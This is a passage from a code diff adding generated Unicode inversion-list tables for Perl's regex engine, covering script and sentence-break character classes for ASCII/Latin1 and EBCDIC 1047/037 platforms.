+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */
+	441,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x5B,
+	0x5C,
+	0x5F,
+	0x60,
+	0x6A,
+	0x6B,
+	0x6E,
+	0x6F,
+	0x79,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x58D,
+	0x590,
+	0x606,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9F2,
+	0x9F4,
+	0x9FA,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xE3F,
+	0xE40,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x17DB,
+	0x17DC,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xAB5B,
+	0xAB5C,
+	0xFB29,
+	0xFB2A,
+	0xFBB2,
+	0xFBC2,
+	0xFDFC,
+	0xFDFE,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_S_invlist[] = { /* for EBCDIC 037 */
+	439,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x5B,
+	0x5C,
+	0x5F,
+	0x60,
+	0x6A,
+	0x6B,
+	0x6E,
+	0x6F,
+	0x79,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBC,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x58D,
+	0x590,
+	0x606,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9F2,
+	0x9F4,
+	0x9FA,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xE3F,
+	0xE40,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x17DB,
+	0x17DC,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xAB5B,
+	0xAB5C,
+	0xFB29,
+	0xFB2A,
+	0xFBB2,
+	0xFBC2,
+	0xFDFC,
+	0xFDFE,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SAMR_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F
+};
+
+static const UV PL_SARB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A60,
+	0x10A80
+};
+
+static const UV PL_SAUR_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__AT_invlist[] = { /* for ASCII/Latin1 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E,
+	0x2F,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__AT_invlist[] = { /* for EBCDIC 1047 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__AT_invlist[] = { /* for EBCDIC 037 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__CL_invlist[] = { /* for ASCII/Latin1 */
+	89,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x22,
+	0x23,
+	0x27,
+	0x2A,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x7B,
+	0x7C,
+	0x7D,
+	0x7E,
+	0xAB,
+	0xAC,
+	0xBB,
+	0xBC,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0xFD3E,
+	0xFD40,
+	0xFE17,
+	0xFE19,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__CL_invlist[] = { /* for EBCDIC 1047 */
+	91,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0x5D,
+	0x5E,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0xFD3E,
+	0xFD40,
+	0xFE17,
+	0xFE19,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__CL_invlist[] = { /* for EBCDIC 037 */
+	89,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0x5D,
+	0x5E,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0xFD3E,
+	0xFD40,
+	0xFE17,
+	0xFE19,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SB__EX_invlist[] = { /* for all charsets */
+	533,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
 	0x64B,
 	0x660,
-	0x66A,
-	0x66B,
-	0x66D,
-	0x66E,
 	0x670,
 	0x671,
-	0x6D4,
-	0x6D5,
 	0x6D6,
 	0x6DD,
-	0x6DE,
 	0x6DF,
 	0x6E5,
 	0x6E7,
@@ -76614,29 +329444,718 @@
 	0x6E9,
 	0x6EA,
 	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
